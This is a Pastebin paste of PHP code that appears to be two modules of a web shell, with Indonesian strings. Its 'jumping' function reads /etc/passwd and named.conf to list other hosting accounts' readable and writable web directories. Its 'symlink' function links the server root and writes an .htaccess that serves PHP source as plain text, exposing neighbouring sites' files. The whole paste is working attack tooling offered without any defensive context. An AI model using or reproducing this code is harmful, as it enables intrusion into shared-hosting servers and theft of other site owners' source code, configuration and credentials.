masslugi

Dapid

Sep 16th, 2017
133
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 10.53 KB | None | 0 0
  1. <?
  2. if($_GET['zz'] == true) {
  3. unset($_SESSION[md5($_SERVER['HTTP_HOST'])]);
  4.  
  5. }
  6. //////////////////
  7.  
  8. elseif($_GET['do'] == 'jumping') {
  9. $i = 0;
  10. echo "<div class='margin: 5px auto;'>";
  11. if(preg_match("/hsphere/", $dir)) {
  12. $urls = explode("\r\n", $_POST['url']);
  13. if(isset($_POST['jump'])) {
  14. echo "<pre>";
  15. foreach($urls as $url) {
  16. $url = str_replace(array("http://","www."), "", strtolower($url));
  17. $etc = "/etc/passwd";
  18. $f = fopen($etc,"r");
  19. while($gets = fgets($f)) {
  20. $pecah = explode(":", $gets);
  21. $user = $pecah[0];
  22. $dir_user = "/hsphere/local/home/$user";
  23. if(is_dir($dir_user) === true) {
  24. $url_user = $dir_user."/".$url;
  25. if(is_readable($url_user)) {
  26. $i++;
  27. $jrw = "[<font color=lime>R</font>] <a href='?dir=$url_user'><font color=#0F6516>$url_user</font></a>";
  28. if(is_writable($url_user)) {
  29. $jrw = "[<font color=lime>RW</font>] <a href='?dir=$url_user'><font color=#0F6516>$url_user</font></a>";
  30. }
  31. echo $jrw."<br>";
  32. }
  33. }
  34. }
  35. }
  36. if($i == 0) {
  37. } else {
  38. echo "<br>Total ada ".$i." Kamar di ".$ip;
  39. }
  40. echo "</pre>";
  41. } else {
  42. echo '<center>
  43. <form method="post">
  44. List Domains: <br>
  45. <textarea name="url" style="width: 500px; height: 250px;">';
  46. $fp = fopen("/hsphere/local/config/httpd/sites/sites.txt","r");
  47. while($getss = fgets($fp)) {
  48. echo $getss;
  49. }
  50. echo '</textarea><br>
  51. <input type="submit" value="Jumping" name="jump" style="width: 500px; height: 25px;">
  52. </form></center>';
  53. }
  54. } elseif(preg_match("/vhosts|vhost/", $dir)) {
  55. preg_match("/\/var\/www\/(.*?)\//", $dir, $vh);
  56. $urls = explode("\r\n", $_POST['url']);
  57. if(isset($_POST['jump'])) {
  58. echo "<pre>";
  59. foreach($urls as $url) {
  60. $url = str_replace("www.", "", $url);
  61. $web_vh = "/var/www/".$vh[1]."/$url/httpdocs";
  62. if(is_dir($web_vh) === true) {
  63. if(is_readable($web_vh)) {
  64. $i++;
  65. $jrw = "[<font color=lime>R</font>] <a href='?dir=$web_vh'><font color=#0F6516>$web_vh</font></a>";
  66. if(is_writable($web_vh)) {
  67. $jrw = "[<font color=lime>RW</font>] <a href='?dir=$web_vh'><font color=#0F6516>$web_vh</font></a>";
  68. }
  69. echo $jrw."<br>";
  70. }
  71. }
  72. }
  73. if($i == 0) {
  74. } else {
  75. echo "<br>Total ada ".$i." Kamar di ".$ip;
  76. }
  77. echo "</pre>";
  78. } else {
  79. echo '<center>
  80. <form method="post">
  81. List Domains: <br>
  82. <textarea name="url" style="width: 500px; height: 250px;">';
  83. bing("ip:$ip");
  84. echo '</textarea><br>
  85. <input type="submit" value="Jumping" name="jump" style="width: 500px; height: 25px;">
  86. </form></center>';
  87. }
  88. } else {
  89. echo "<pre>";
  90. $etc = fopen("/etc/passwd", "r") or die("<font color=red>Can't read /etc/passwd</font>");
  91. while($passwd = fgets($etc)) {
  92. if($passwd == '' || !$etc) {
  93. echo "<font color=red>Can't read /etc/passwd</font>";
  94. } else {
  95. preg_match_all('/(.*?):x:/', $passwd, $user_jumping);
  96. foreach($user_jumping[1] as $user_idx_jump) {
  97. $user_jumping_dir = "/home/$user_idx_jump/public_html";
  98. if(is_readable($user_jumping_dir)) {
  99. $i++;
  100. $jrw = "[<font color=lime>R</font>] <a href='?dir=$user_jumping_dir'><font color=silver>$user_jumping_dir</font></a>";
  101. if(is_writable($user_jumping_dir)) {
  102. $jrw = "[<font color=lime>RW</font>] <a href='?dir=$user_jumping_dir'><font color=silver>$user_jumping_dir</font></a>";
  103. }
  104. echo $jrw;
  105. if(function_exists('posix_getpwuid')) {
  106. $domain_jump = file_get_contents("/etc/named.conf");
  107. if($domain_jump == '') {
  108. echo " => ( <font color=red>gabisa ambil nama domain nya</font> )<br>";
  109. } else {
  110. preg_match_all("#/var/named/(.*?).db#", $domain_jump, $domains_jump);
  111. foreach($domains_jump[1] as $dj) {
  112. $user_jumping_url = posix_getpwuid(@fileowner("/etc/valiases/$dj"));
  113. $user_jumping_url = $user_jumping_url['name'];
  114. if($user_jumping_url == $user_idx_jump) {
  115. echo " => ( <u>$dj</u> )<br>";
  116. break;
  117. }
  118. }
  119. }
  120. } else {
  121. echo "<br>";
  122. }
  123. }
  124. }
  125. }
  126. }
  127. if($i == 0) {
  128. } else {
  129. echo "<br>Total ada ".$i." Kamar di ".$ip;
  130. }
  131. echo "</pre>";
  132. }
  133. echo "</div>";
  134. }
  135. ///////////////////////////////////
  136. elseif($_GET['do'] == 'symlink') {
  137. $full = str_replace($_SERVER['DOCUMENT_ROOT'], "", $dir);
  138. $d0mains = @file("/etc/named.conf");
  139. ##httaces
  140. if($d0mains){
  141. @mkdir("nb_sym",0777);
  142. @chdir("nb_sym");
  143. @exe("ln -s / root");
  144. $file3 = 'Options Indexes FollowSymLinks
  145. DirectoryIndex n45ht.htm
  146. AddType text/plain .php
  147. AddHandler text/plain .php
  148. Satisfy Any';
  149. $fp3 = fopen('.htaccess','w');
  150. $fw3 = fwrite($fp3,$file3);@fclose($fp3);
  151. echo "
  152. <table align=center border=1 style='width:70%;border-color:#333333;'>
  153. <tr>
  154. <td align=center>-<font size=3>-S. No.-</font></td>
  155. <td align=center>-<font size=3>-Domains-</font></td>
  156. <td align=center>-<font size=3>-Users-</font></td>
  157. <td align=center>-<font size=3>-Symlink-</font></td>
  158. </tr>";
  159. $dcount = 1;
  160. foreach($d0mains as $d0main){
  161. if(eregi("zone",$d0main)){preg_match_all('#zone "(.*)"#', $d0main, $domains);
  162. flush();
  163. if(strlen(trim($domains[1][0])) > 2){
  164. $user = posix_getpwuid(@fileowner("/etc/valiases/".$domains[1][0]));
  165. echo "<tr align=center><td><font size=2>" . $dcount . "</font></td>
  166. <td align=left><a href=http://www.".$domains[1][0]."/><font class=txt>".$domains[1][0]."</font></a></td>
  167. <td>".$user['name']."</td>
  168. <td><a href='$full/nb_sym/root/home/".$user['name']."/public_html' target='_blank'><font class=txt>Symlink</font></a></td></tr>";
  169. flush();
  170. $dcount++;}}}
  171. echo "</table>";
  172. }else{
  173. $TEST=@file('/etc/passwd');
  174. if ($TEST){
  175. @mkdir("nb_sym",0777);
  176. @chdir("nb_sym");
  177. exe("ln -s / root");
  178. $file3 = 'Options Indexes FollowSymLinks
  179. DirectoryIndex n45ht.htm
  180. AddType text/plain .php
  181. AddHandler text/plain .php
  182. Satisfy Any';
  183. $fp3 = fopen('.htaccess','w');
  184. $fw3 = fwrite($fp3,$file3);
  185. @fclose($fp3);
  186. echo "
  187. <table align=center border=1><tr>
  188. <td align=center><font size=3>-S. No.-</font></td>
  189. <td align=center><font size=3>-Users-</font></td>
  190. <td align=center><font size=3>-Symlink-</font></td></tr>";
  191. $dcount = 1;
  192. $file = fopen("/etc/passwd", "r") or exit("Unable to open file!");
  193. while(!feof($file)){
  194. $s = fgets($file);
  195. $matches = array();
  196. $t = preg_match('//(.*?)://s', $s, $matches);
  197. $matches = str_replace("home/","",$matches[1]);
  198. if(strlen($matches) > 12 || strlen($matches) == 0 || $matches == "bin" || $matches == "etc/X11/fs" || $matches == "var/lib/nfs" || $matches == "var/arpwatch" || $matches == "var/gopher" || $matches == "sbin" || $matches == "var/adm" || $matches == "usr/games" || $matches == "var/ftp" || $matches == "etc/ntp" || $matches == "var/www" || $matches == "var/named")
  199. continue;
  200. echo "<tr><td align=center><font size=2>" . $dcount . "</td>
  201. <td align=center><font class=txt>" . $matches . "</td>";
  202. echo "<td align=center><font class=txt><a href=$full/nb_sym/root/home/" . $matches . "/public_html target='_blank'>Symlink</a></td></tr>";
  203. $dcount++;}fclose($file);
  204. echo "</table>";}else{if($os != "Windows"){@mkdir("nb_sym",0777);@chdir("nb_sym");@exe("ln -s / root");$file3 = '
  205. Options Indexes FollowSymLinks
  206. DirectoryIndex n45ht.htm
  207. AddType text/plain .php
  208. AddHandler text/plain .php
  209. Satisfy Any
  210. ';
  211. $fp3 = fopen('.htaccess','w');
  212. $fw3 = fwrite($fp3,$file3);@fclose($fp3);
  213. echo "
  214. <div class='mybox'><h2 class='k2ll33d2'>server symlinker</h2>
  215. <table align=center border=1><tr>
  216. <td align=center><font size=3>ID</font></td>
  217. <td align=center><font size=3>Users</font></td>
  218. <td align=center><font size=3>Symlink</font></td></tr>";
  219. $temp = "";$val1 = 0;$val2 = 1000;
  220. for(;$val1 <= $val2;$val1++) {$uid = @posix_getpwuid($val1);
  221. if ($uid)$temp .= join(':',$uid)."n";}
  222. echo '<br/>';$temp = trim($temp);$file5 =
  223. fopen("test.txt","w");
  224. fputs($file5,$temp);
  225. fclose($file5);$dcount = 1;$file =
  226. fopen("test.txt", "r") or exit("Unable to open file!");
  227. while(!feof($file)){$s = fgets($file);$matches = array();
  228. $t = preg_match('//(.*?)://s', $s, $matches);$matches = str_replace("home/","",$matches[1]);
  229. if(strlen($matches) > 12 || strlen($matches) == 0 || $matches == "bin" || $matches == "etc/X11/fs" || $matches == "var/lib/nfs" || $matches == "var/arpwatch" || $matches == "var/gopher" || $matches == "sbin" || $matches == "var/adm" || $matches == "usr/games" || $matches == "var/ftp" || $matches == "etc/ntp" || $matches == "var/www" || $matches == "var/named")
  230. continue;
  231. echo "<tr><td align=center><font size=2>" . $dcount . "</td>
  232. <td align=center><font class=txt>" . $matches . "</td>";
  233. echo "<td align=center><font class=txt><a href=$full/nb_sym/root/home/" . $matches . "/public_html target='_blank'>Symlink</a></td></tr>";
  234. $dcount++;}
  235. fclose($file);
  236. echo "</table></div></center>";unlink("test.txt");
  237. } else
  238. echo "<center><font size=3>Cannot create Symlink</font></center>";
  239. }
  240. }
  241. }
  242. ////////////////////
  243.  
  244. ?>
Advertisement
Add Comment
Please, Sign In to add comment